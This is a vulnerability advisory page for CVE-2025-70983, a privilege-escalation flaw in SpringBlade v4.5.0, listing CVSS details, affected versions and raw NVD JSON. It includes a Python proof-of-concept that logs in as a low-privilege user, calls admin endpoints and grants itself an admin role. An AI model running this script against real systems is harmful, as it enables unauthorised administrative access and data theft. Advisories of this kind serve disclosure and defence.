Security Vulnerability Report
中文
CVE-2025-70983 CVSS 9.9 CRITICAL

CVE-2025-70983

Published: 2026-01-23 19:15:54
Last Modified: 2026-02-11 19:28:23

Description

Incorrect access control in the authRoutes function of SpringBlade v4.5.0 allows attackers with low-level privileges to escalate privileges.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:bladex:springblade:4.5.0:*:*:*:*:*:*:* - VULNERABLE
SpringBlade < 4.5.0
SpringBlade == 4.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-70983 PoC - SpringBlade authRoutes Privilege Escalation # Target: SpringBlade v4.5.0 # Vulnerability: Incorrect access control in authRoutes function TARGET_URL = "http://target-server.com" def exploit_privilege_escalation(): """ This PoC demonstrates how low-privilege users can bypass access controls in SpringBlade v4.5.0 authRoutes function to escalate privileges to admin level. """ # Step 1: Login with low-privilege account login_url = f"{TARGET_URL}/api/blade-auth/login" login_data = { "account": "low_privilege_user", "password": "password123", "tenantId": "000000", "grantType": "password", "tenantDb": "" } response = requests.post(login_url, json=login_data) if response.status_code != 200: print("[-] Login failed") return token = response.json().get("data", {}).get("access_token") print(f"[+] Obtained token: {token}") # Step 2: Exploit authRoutes bypass to access admin endpoints # The vulnerability allows bypassing permission checks admin_endpoints = [ "/api/blade-system/user/export", "/api/blade-system/role/list", "/api/blade-system/menu/list", "/api/blade-system/tenant/list" ] headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Step 3: Access admin functions without proper authorization for endpoint in admin_endpoints: exploit_url = f"{TARGET_URL}{endpoint}" response = requests.get(exploit_url, headers=headers) if response.status_code == 200: print(f"[+] Successfully accessed: {endpoint}") print(f" Response: {response.text[:200]}") else: print(f"[-] Failed to access: {endpoint}") # Step 4: Escalate privileges by modifying user roles escalate_url = f"{TARGET_URL}/api/blade-system/user/grant" escalate_data = { "userIds": ["low_privilege_user_id"], "roleIds": ["admin_role_id"] } response = requests.post(escalate_url, json=escalate_data, headers=headers) if response.status_code == 200: print("[+] Privilege escalation successful!") else: print(f"[-] Privilege escalation failed: {response.status_code}") if __name__ == "__main__": exploit_privilege_escalation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-70983", "sourceIdentifier": "[email protected]", "published": "2026-01-23T19:15:53.793", "lastModified": "2026-02-11T19:28:23.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control in the authRoutes function of SpringBlade v4.5.0 allows attackers with low-level privileges to escalate privileges."}, {"lang": "es", "value": "Control de acceso incorrecto en la función authRoutes de SpringBlade v4.5.0 permite a atacantes con privilegios de bajo nivel escalar privilegios."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bladex:springblade:4.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "082F465A-1312-42EF-87DC-588DD6D7C6DE"}]}]}], "references": [{"url": "https://gist.github.com/old6ma/9c4d2ba32cd8f562cb80796538157912", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/chillzhuang/SpringBlade", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/chillzhuang/SpringBlade/issues/35", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}